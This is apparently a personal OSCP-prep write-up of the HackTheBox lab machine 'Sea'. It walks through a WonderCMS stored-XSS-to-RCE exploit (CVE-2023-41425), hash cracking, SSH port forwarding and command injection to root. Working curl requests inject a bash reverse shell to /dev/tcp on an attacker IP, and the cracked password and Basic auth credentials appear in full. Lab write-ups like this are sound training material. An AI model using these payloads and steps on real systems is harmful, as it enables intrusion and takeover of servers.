Why this post exists

This is the first in a series of write-ups I’m publishing as part of my OSCP preparation. The strategy is to follow the Lain Kusanagi curated list (a fork/evolution of the classic TJNull list), which selects HackTheBox machines with attack vectors and exploitation patterns similar to those found in the exam.

The goal of these posts is not just to document the solution, but to consolidate what I’ve learned: each write-up is structured as a condensed pentest report - recon, enumeration, foothold, privesc and takeaways - in the same format OffSec expects in the exam.

Machine info

NameSea
PlatformHackTheBox
OSLinux
DifficultyEasy

TL;DR

  • WonderCMS with “bike” theme vulnerable to Stored XSS to RCE (CVE-2023-41425)
  • XSS via contact form injects a malicious module that installs a reverse shell
  • Cracked credentials from database.js give SSH access as amay
  • Port forward on 8080 reveals System Monitor with command injection on the log_file parameter to get root

Recon

RustScan + Nmap

1
rustscan -a 10.129.20.94 -- -sV -sC -Pn -A

RustScan initial scan

Open ports: 22 (SSH) and 80 (HTTP).

Nmap results

  • Port 22: OpenSSH 8.2p1 Ubuntu
  • Port 80: Apache 2.4.41 (Ubuntu)

Web service fingerprint

1
whatweb http://10.129.20.94/

WhatWeb output

Tech stack: Apache 2.4.41, PHP (PHPSESSID), Bootstrap 3.3.7, jQuery 1.12.4. Title: “Sea - Home”.


Enumeration

Web - Browsing the site

The main page shows a cycling competition website with the velik71 theme.

Port 80 - Homepage

Browsing the site we find a “How can I participate?” page with a link to a contact form.

Participate page

The contact form at contact.php has fields for Name, Email, Age, Country and Website.

Contact form

Identifying the CMS

Looking at the page source code, I noticed images were being loaded from /themes/bike/, indicating the use of a theme called “bike”.

Source code showing /themes/bike/ path

A quick Google search for “velik71” reveals this is a WonderCMS theme called “bike”, available at https://github.com/robiso/bike.

WonderCMS bike theme

With the theme directory identified, I ran a directory brute force with feroxbuster to enumerate files:

1
feroxbuster --url http://sea.htb/themes/bike -w /usr/share/wordlists/dirb/common.txt -x php

Feroxbuster results

Among the results, the /themes/bike/version endpoint returned version 3.2.0.

WonderCMS 3.2.0 - vulnerable to CVE-2023-41425 (Stored XSS to RCE via installModule).


Foothold

CVE-2023-41425 - WonderCMS XSS to RCE

I used the exploit from prodigiousMind/CVE-2023-41425 which works as follows:

  1. Generates an XSS payload that, when executed by the admin, installs a malicious module (reverse shell)
  2. The payload is sent via the contact form in the Website field
  3. When the admin views the message, the XSS fires and installs the module
1
python exploit.py http://sea.htb/loginURL 10.10.14.208 4444

Exploit output

The exploit generates xss.js, starts an HTTP server on port 8000, and instructs you to send the malicious link to the admin.

Debugging the exploit

I submitted the payload in the Website field of the contact form and opened netcat:

Submitting XSS

The xss.js was requested by the target - the XSS executed:

XSS callback received

But no reverse shell. Time to debug xss.js.

xss.js original code

Reading through the exploit code, I identified several issues.

Fix 1: Host main.zip locally

The xss.js payload tries to download main.zip from GitHub and install it as a WonderCMS module. Since the target has no internet access, we need to host main.zip locally and point the exploit to our machine.

1
2
wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip
# place main.zip in the same directory as the exploit (served on port 8000)

Fix 2: Hardcode urlWithoutLogBase

The next issue was the urlWithoutLogBase variable. Using the browser console to simulate:

Debug urlWithoutLogBase

urlWithoutLogBase resolved to /, making urlRev become //?installModule=... - an invalid URL:

Debug urlRev broken

I edited the exploit to hardcode urlWithoutLogBase = 'http://sea.htb/':

Fixed urlWithoutLogBase

I resubmitted the form. This time the target made requests to main.zip, but I got an error - the exploit was using https:// for the installModule URL, but the python server was serving via http://:

Error after fix

Fix 3: HTTPS to HTTP

I changed https:// to http:// in the installModule URL inside the exploit. Resubmitted once more:

Final successful exploit

The target fetched xss.js, then main.zip, installed the module, and we got a reverse shell!

Shell as www-data

Shell as www-data

Upgrade to interactive TTY:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

TTY upgrade


Privilege Escalation

Credentials in database.js

Browsing /var/www/sea/data/, I found the WonderCMS database.js file containing a bcrypt hash:

database.js with hash

1
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q

Cracking with John

1
john hash --wordlist=/usr/share/wordlists/rockyou.txt

John cracked

Cracked password: mychemicalromance

Checking /etc/passwd, there are two users: amay and geo.

Local enumeration with LinPEAS

1
2
3
4
5
6
# Kali: serve linpeas
python -m http.server 8000 -d /usr/share/peass/linpeas/

# Target: download and run
wget 10.10.14.208:8000/linpeas.sh -O l.sh
chmod +x l.sh && ./l.sh

LinPEAS download

LinPEAS revealed interesting internal ports:

Active ports

  • 127.0.0.1:8080 - internal web service
  • 127.0.0.1:36189 - another service

Port Forwarding via SSH

With the cracked password, I set up SSH port forwarding as amay:

1
2
ssh -N -L 9999:localhost:8080 amay@10.129.20.94
# password: mychemicalromance

SSH port forward

System Monitor - Command Injection

Accessing http://localhost:9999 on Kali, logged in with amay:mychemicalromance:

Login 8080

The application is a System Monitor (Developing) with management features:

System Monitor

The “Analyze” button sends a POST request with the log_file parameter. Intercepting with browser DevTools:

Analyze log request

The log_file parameter points to /var/log/apache2/access.log. I tested command injection with ping:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
curl 'http://localhost:9999/' \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \
  -H 'Referer: http://localhost:9999/' \
  -H 'Origin: http://localhost:9999' \
  -H 'Connection: keep-alive' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Sec-Fetch-Dest: document' \
  -H 'Sec-Fetch-Mode: navigate' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Sec-Fetch-User: ?1' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' \
  -H 'Priority: u=0, i' \
  -H 'Pragma: no-cache' \
  -H 'Cache-Control: no-cache' \
  --data-raw 'log_file=%2Fvar%2Flog%2Fauth.log;ping+-c2+10.10.14.208&analyze_log='

Confirmed via tcpdump - ICMP echo request received:

tcpdump confirm

Root shell

Injected a reverse shell via the same parameter:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
curl 'http://localhost:9999/' \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \
  -H 'Referer: http://localhost:9999/' \
  -H 'Origin: http://localhost:9999' \
  -H 'Connection: keep-alive' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Sec-Fetch-Dest: document' \
  -H 'Sec-Fetch-Mode: navigate' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Sec-Fetch-User: ?1' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' \
  -H 'Priority: u=0, i' \
  -H 'Pragma: no-cache' \
  -H 'Cache-Control: no-cache' \
  --data-raw 'log_file=%2Fvar%2Flog%2Fauth.log;bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.208/443+0>%261"&analyze_log='

Root shell

Root!


Takeaways (for OSCP)

  • Always debug public exploits before giving up. The CVE-2023-41425 exploit had 3 bugs in this machine’s context (urlWithoutLogBase, hardcoded HTTPS, wrong path). Understanding the JavaScript code instead of treating the exploit as a black box was essential.
  • Internal ports are gold. LinPEAS + netstat revealed the System Monitor on 8080. On the OSCP, always check services on 127.0.0.1 and set up port forwarding.
  • Password reuse is standard in labs. The cracked WonderCMS password worked for both SSH (amay) and the System Monitor. Always test for reuse.
  • Command injection in internal web apps is a common privesc vector. Applications “in development” listening on localhost tend to have little to no input sanitization.

References